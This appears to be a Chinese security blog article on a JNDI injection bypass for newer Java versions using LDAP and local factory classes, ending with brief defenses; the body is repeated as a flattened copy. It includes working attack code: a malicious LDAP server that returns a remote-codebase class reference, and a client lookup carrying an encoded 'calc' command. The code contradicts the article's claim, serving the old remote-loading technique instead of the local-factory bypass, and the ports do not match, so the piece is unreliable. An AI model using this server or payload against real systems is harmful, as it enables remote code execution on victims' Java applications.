JNDI高版本新思路利用LDAP 打本地工厂类
字数 1299 2025-08-26 22:11:35

JNDI高版本利用LDAP协议攻击本地工厂类技术分析

前言

在Java高版本环境中,传统的JNDI注入攻击方式受到限制。本文介绍一种针对高版本Java环境的新型攻击手法:通过LDAP协议利用本地工厂类实现RCE(远程代码执行)。这种技术特别适用于目标系统只能通过JNDI注入但Java版本较高的情况。

技术背景

JNDI与LDAP协议

JNDI (Java Naming and Directory Interface) 是Java提供的用于访问命名和目录服务的API。LDAP (Lightweight Directory Access Protocol) 是一种常用的目录服务协议,JNDI可以通过LDAP协议访问目录服务。

高版本Java的限制

在Java高版本中(JDK 6u132, JDK 7u122, JDK 8u113及以后版本),JNDI注入有以下限制:

  1. 默认禁止从远程加载类
  2. 限制了RMI和LDAP协议的部分功能

攻击原理

传统低版本攻击流程

  1. 攻击者搭建恶意LDAP服务器
  2. 服务器返回包含远程类加载信息的Reference对象
  3. 受害者应用通过JNDI查找触发远程类加载
  4. 恶意类被执行,实现RCE

高版本绕过思路

在高版本中,由于远程类加载被禁止,我们转向利用本地已有的工厂类:

  1. 通过LDAP返回一个Reference对象
  2. Reference对象指向目标环境中已存在的工厂类
  3. 利用工厂类的特性实现RCE

详细攻击步骤

1. 搭建恶意LDAP服务器

使用以下Java代码搭建LDAP服务器:

package JNDI_LDAP;

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;

public class LDAP_Server {
    private static final String LDAP_BASE = "dc=example,dc=com";
    
    public static void main(String[] argsx) {
        String[] args = new String[]{"http://127.0.0.1:8000/#Exp", "9999"};
        int port = 0;
        if (args.length < 1 || args[0].indexOf('#') < 0) {
            System.err.println(LDAP_Server.class.getSimpleName() + " <codebase_url#classname> [<port>]");
            System.exit(-1);
        } else if (args.length > 1) {
            port = Integer.parseInt(args[1]);
        }
        
        try {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
            config.setListenerConfigs(new InMemoryListenerConfig(
                    "listen",
                    InetAddress.getByName("0.0.0.0"),
                    port,
                    ServerSocketFactory.getDefault(),
                    SocketFactory.getDefault(),
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
    
    private static class OperationInterceptor extends InMemoryOperationInterceptor {
        private URL codebase;
        
        public OperationInterceptor(URL cb) {
            this.codebase = cb;
        }
        
        @Override
        public void processSearchResult(InMemoryInterceptedSearchResult result) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
            } catch (Exception e1) {
                e1.printStackTrace();
            }
        }
        
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e) 
            throws LDAPException, MalformedURLException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
            e.addAttribute("javaCodeBase", cbstring);
            e.addAttribute("objectClass", "javaNamingReference");
            e.addAttribute("javaFactory", this.codebase.getRef());
            result.sendSearchEntry(e);
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
        }
    }
}

2. 构造恶意客户端

package JNDI_LDAP;

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class LDAP_Client {
    public static void main(String[] args) throws NamingException {
        String jndi_uri = "ldap://127.0.0.1:1389/Basic/Command/Y2FsYw==";
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(jndi_uri);
    }
}

3. 关键点分析

攻击流程的关键调用链:

  1. lookup:94, ldapURLContext (com.sun.jndi.url.ldap)
  2. lookup:205, GenericURLContext (com.sun.jndi.toolkit.url)
  3. lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx)
  4. p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx)
  5. getObjectInstance方法解析远程引用对象

4. 高版本绕过关键

在高版本中,decodeReference方法没有VersionHelper.isSerialDataAllowed()的限制,我们可以:

  1. 通过Attributes attrs传入工厂类信息
  2. 依次从attrs获取工厂类属性
  3. 返回Reference对象
  4. 利用本地已有的工厂类(如org.apache.tomcat.jdbc.pool.DataSourceFactory)实现RCE

防御措施

  1. 升级JDK到最新版本
  2. 限制JNDI查找的来源
  3. 禁用不必要的JNDI服务
  4. 使用安全管理器限制敏感操作
  5. 对LDAP连接进行认证和加密

总结

这种攻击手法通过利用LDAP协议和本地工厂类,成功绕过了高版本Java对JNDI注入的限制。安全团队应充分了解这种攻击方式,并采取相应的防御措施。

JNDI高版本利用LDAP协议攻击本地工厂类技术分析 前言 在Java高版本环境中,传统的JNDI注入攻击方式受到限制。本文介绍一种针对高版本Java环境的新型攻击手法:通过LDAP协议利用本地工厂类实现RCE(远程代码执行)。这种技术特别适用于目标系统只能通过JNDI注入但Java版本较高的情况。 技术背景 JNDI与LDAP协议 JNDI (Java Naming and Directory Interface) 是Java提供的用于访问命名和目录服务的API。LDAP (Lightweight Directory Access Protocol) 是一种常用的目录服务协议,JNDI可以通过LDAP协议访问目录服务。 高版本Java的限制 在Java高版本中(JDK 6u132, JDK 7u122, JDK 8u113及以后版本),JNDI注入有以下限制: 默认禁止从远程加载类 限制了RMI和LDAP协议的部分功能 攻击原理 传统低版本攻击流程 攻击者搭建恶意LDAP服务器 服务器返回包含远程类加载信息的Reference对象 受害者应用通过JNDI查找触发远程类加载 恶意类被执行,实现RCE 高版本绕过思路 在高版本中,由于远程类加载被禁止,我们转向利用本地已有的工厂类: 通过LDAP返回一个Reference对象 Reference对象指向目标环境中已存在的工厂类 利用工厂类的特性实现RCE 详细攻击步骤 1. 搭建恶意LDAP服务器 使用以下Java代码搭建LDAP服务器: 2. 构造恶意客户端 3. 关键点分析 攻击流程的关键调用链: lookup:94, ldapURLContext (com.sun.jndi.url.ldap) lookup:205, GenericURLContext (com.sun.jndi.toolkit.url) lookup:177, PartialCompositeContext (com.sun.jndi.toolkit.ctx) p_lookup:542, ComponentContext (com.sun.jndi.toolkit.ctx) getObjectInstance 方法解析远程引用对象 4. 高版本绕过关键 在高版本中, decodeReference 方法没有 VersionHelper.isSerialDataAllowed() 的限制,我们可以: 通过 Attributes attrs 传入工厂类信息 依次从attrs获取工厂类属性 返回Reference对象 利用本地已有的工厂类(如 org.apache.tomcat.jdbc.pool.DataSourceFactory )实现RCE 防御措施 升级JDK到最新版本 限制JNDI查找的来源 禁用不必要的JNDI服务 使用安全管理器限制敏感操作 对LDAP连接进行认证和加密 总结 这种攻击手法通过利用LDAP协议和本地工厂类,成功绕过了高版本Java对JNDI注入的限制。安全团队应充分了解这种攻击方式,并采取相应的防御措施。